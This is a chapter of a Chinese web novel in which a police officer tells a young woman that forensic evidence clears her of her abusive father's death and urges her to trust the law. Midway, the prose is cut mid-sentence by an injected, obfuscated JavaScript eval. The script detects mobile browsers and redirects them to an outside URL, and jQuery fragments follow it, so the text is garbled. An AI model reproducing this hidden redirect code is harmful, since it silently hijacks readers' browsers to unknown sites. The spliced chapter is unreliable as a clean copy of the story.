74. 真相

作品:《拨云不见日[九零]

    阮云琛的身体猛地一震,瞳孔轻微颤动:“您怎么......”


    廖致远当然察觉到了。


    那个雨夜,九岁的阮云琛站在积水中,怀里抱着小小的姑娘,手里却紧握着染血的匕首——那姿势平稳得不像是个孩子。


    她的脸半湿半干,血和雨水混在一起沿着鬓角滴落,模糊了她本就纤瘦的眉眼。


    可那双眼睛却亮得瘆人。


    那不是干净的那种亮,而是一种极致的冷静,仿佛看透了一切,却什么也不打算说。


    廖致远当时没说什么,只是站在雨夜里撑着伞,透过水珠模糊的镜片看向她。


    他记住了她眼里的光,也记住了她抬头的那一瞬间,嘴角紧绷成一条死线,像极了一个不肯求饶的小战士。


    后来,案子进展得出奇顺利。


    监控显示张庆发确实在事发前进入了阮启明的楼栋;刀柄上的指纹也清清楚楚,两组指纹:一组是张庆发的,另一组是阮云琛的。


    张庆发在审讯中百般抵赖,可债务纠纷的动机和满墙的证据让他的反驳显得毫无说服力。


    一切看似铁板钉钉,可廖致远却觉得不对劲。


    他无数次在脑海中重现现场:一个惯于暴力的高利贷惯犯,竟然会留下凶器;一个九岁的女孩,却能用如此稳定的姿势握着匕首?


    张庆发在审讯中虽然否认一切,但他的话语中带着一丝奇怪的闪躲,仿佛在回避某些事情。


    廖致远没放过任何一个细节。


    他翻了阮启明的档案:一个不折不扣的混蛋,酗酒成性、家暴妻女,街坊邻里无一不对其嗤之以鼻。


    妻子早逝后,他的名字还出现在几起酒后斗殴和借高利贷的记录里。每一次都是惨淡收场,每一次都让他欠下更多的人情债。


    邻居的证词很一致:淼淼常常被饿得大哭,而阮云琛总是挡在父亲和妹妹之间,用自己瘦弱的身子为淼淼争取一口气。


    这些细节交织在一起,像是拼图的碎片,逐渐组成了一个令人头皮发麻的画面。


    阮启明死前似乎挣扎过,但并非出自人为的直接暴力。法医报告显示,他的死因是突发性脑溢血,而后摔倒在茶几边缘,撞击致命。


    然而,事情并没有这么简单结束。


    他的胸口共有二十八道刀伤,每一道都精准而狠戾,致命伤刺穿了心脏。这些伤口的特征明显与最初的意外不符。法医在伤口中发现的刀伤痕迹,显示它们并不是在脑溢血发作的瞬间造成的,而是在之后补上的。


    刀柄上的指纹则揭示了更多信息:一组属于张庆发,另一组属于阮云琛。根据痕迹科的分析,张庆发的指纹分布在靠近刀刃的地方,而阮云琛的指纹却在刀柄的末端——像是仓促间触碰到的。


    这是廖致远推测的核心。


    “她摸过刀。”廖致远曾在深夜对自己的同事低声说道,“可她不是杀人凶手。”


    他仔细拼凑着证据的每一块碎片——阮启明倒地、刀伤补上、张庆发匆匆离开的脚印,甚至还有阮云琛跑离现场的痕迹。这是一场混乱的拼图,而真相埋藏在混乱背后。


    在廖致远看来,阮云琛的行为更多是出于恐惧和保护:她拔刀,不是为了反击,而是为了确认威胁是否已经消失。而张庆发的出现,则让原本的事故演变成了一起血腥的谋杀。


    这个真相无法在证据上完全被证实,也无法出现在法庭上——但廖致远心里清楚,这个孩子藏着比所有人想象中都要深的秘密。她的冷静,既是自保,也是某种防线。


    “也许你小时候不懂,可你现在应该明白,”廖致远盯着她,声音低沉,“无论是法医报告还是证据链,你的行为,都和杀人无关。”


    阮云琛僵住,抬起头看向他,目光中闪过几分戒备。


    “你父亲嗜酒成性,控制不住脾气和行为。”廖致远像是在陈述一个不可反驳的事实,“那天的意外,和你无关。但有人刻意补上了血腥的尾声——你比谁都清楚那个人是谁。”


    阮云琛没有说话,指尖微微收紧。她的沉默是一堵墙,冰冷而坚硬。可廖致远知道,这堵墙后,藏着一个早已疲惫不堪的灵魂。


    阮云琛的呼吸急促了一下,喉咙深处像卡着什么,发不出声音。片刻后,她低下头,紧抿的嘴角松了一瞬,又很快绷紧。


    廖致远盯着她的动作,心中隐隐叹息。他知道她在努力压抑那种被揭穿后的慌乱,却始终无法面对真相。


    “你查的那些东西,我都看到了。”他的声音放缓了几分,但依旧带着一种沉重的压迫,“枕边的、书桌上的,还有你那个随时带着的笔记本。你可以把它藏在淼淼看不到的地方,却不需要藏着掖着骗自己——你翻开那些书,是因为你在试图相信,正义可以为你们姐弟做点什么。”


    阮云琛猛地攥紧了拳头,指尖掐进掌心,眼里却泛起了几分倔强的湿意。


    “你愿意相信法律。”廖致远低声说,“只是没人教过你它能怎么保护你——法律永远是死东西,没错就是没错。”


    廖致远看着她,像是等待她的回应,却又像是在给她足够的时间去思考。


    “我从来不奢望谁来保护我。”她的声音哑得厉害,几乎听不见,“我翻那些书,只是为了——”


    “为了什么?”廖致远的目光像刀,直接将她的话语切断,“为了告诉自己,不能让自己的错误再一次牵连到淼淼和阮秋?还是为了告诉自己,就算身处泥潭,也不能被人拉着越陷越深?”


    他顿了一下,语气突然放轻:“你不是想让自己变得无懈可击,而是想知道,该怎么保护你在乎的人。”


    空气像是凝固了一样,阮云琛没说话,她的眼睫低垂,掩住了大半的神色。


    廖致远整理了一下袖口:“如果你真的相信法律,就该明白,你翻开的那些书,早就替你找到了答案。只不过你得花点时间去接受这个事实。”


    廖致远当然知道阮云琛在想什么。


    他见过太多这样的孩子了。


    绝望的、无助的、走投无路的。


    他们的选择不是他们想选,而是他们没得选。


    如果四周都是悬崖,那么落在眼前的即使是长满了刺的藤蔓,他们也会为了活,而一步步攀爬上去。


    廖致远微微低头,眼神落在阮云琛低垂的睫毛上。她的沉默像是一道厚重的屏障,挡住了她内心翻涌的那些话语。


    “那些书上的条文,”他声音不急不缓,像是在讲述某个平凡的故事,“不是只为高高在上的人写的,也不是用来定义你是否合格的标签。它们是给像你这样的人用的——告诉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118063|158973||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你,你还有路可走,还有选择可以做。”


    他的语调平静得没有波澜,像冬日里没有风的湖面,但每一个字都精准地击中了阮云琛心底那片最敏感的角落。


    “你知道什么是保护吗?”他低声问,像在自言自语,又像在等待回答,“不是把所有错事扛在自己身上,也不是对自己用最苛刻的方式评判。保护是找到正确的方向,带着想守护的人一起走出那片泥潭,而不是把他们推向更深的地方。”


    阮云琛的手指无意识地蜷了蜷,像是试图抓住某种难以言喻的东西,却只握住了空气。


    廖致远目光轻轻扫过她,继续说道:“你不是想让自己变得无懈可击,而是想知道,该怎么保护你在乎的人。”


    他的声音淡然,没有刻意的起伏,却带着一种让人无法反驳的力量。


    空气沉寂下来,像是刚下过一场细雨后的夜晚,安静得只能听见心跳的声音。


    廖致远垂下眼,看着自己的袖口,似是无意地整理了一下,接着说:“你翻开的那些书,不是为了证明你无辜,而是为了让你相信,你有资格去选择。保护自己,也保护他们。”


    他顿了顿,补上一句:“你早就知道这个答案了,不是吗?”


    阮云琛的呼吸微不可察地一滞,她的目光依旧低垂,但手指的动作变得更慢了,像是整个人都陷入了某种无声的纠结中。


    “你不是第一个,也不会是最后一个。”廖致远轻声说,语气里没有怜悯,只有某种冷静的直白,“有太多孩子和你一样,在那样的环境里挣扎着成长,试图找一条出路。可是,大多数人没有你走得远,也没有你走得正。”


    他的目光变得柔和了一些,但语气依然不容置疑:“别让自己走到尽头的时候才发现,其实一切都可以不同。”


    “别把自己想得那么难堪。”廖致远的声音轻了下来,语气里却带着不容置疑的坚定,“不管那些档案里记没记下,你都不是犯罪者。记住这点——你不是。”


    阮云琛的手指微微蜷起,垂下的目光像是一潭无风的水,泛不起波澜,可她胸腔里的风暴却越发汹涌。


    廖致远站起身,拉开椅子,语气里带着一种平静的压迫:“别给自己判刑了,阮云琛。现在,去想想你想做什么,该做什么。往前看,而不是往后看。”


    阮云琛闭了闭眼,想要甩掉这些纷乱的思绪。


    “我……”她张了张口,却发现自己说不出话来。


    “如果这个社会这么烂,”廖致远说得很慢,每一个字都像敲进她的意识里,“那就更需要有人去做点对的事,把它修一修。你不是为了社会去当警察,是为了那些社会从来不在意的人。”


    廖致远没有催促。他就那么看着她,目光带着一种无法言说的复杂。他知道自己踩在薄冰上,但这次,他决定往前走一步。


    “不是所有人都能改变世界。”他说,语气低而平稳,“但有些人,比别人更有机会改变点什么。”


    阮云琛的手缓缓握紧了笔,指尖泛白。她低头看着桌上的试卷,喉咙有点干。


    她没有回答,空气像是被什么堵住了,沉重得难以呼吸。


    “好好想想吧。”廖致远站起身,拍拍她的肩膀,没有再多说什么。


    门开了又关,房间重新陷入寂静。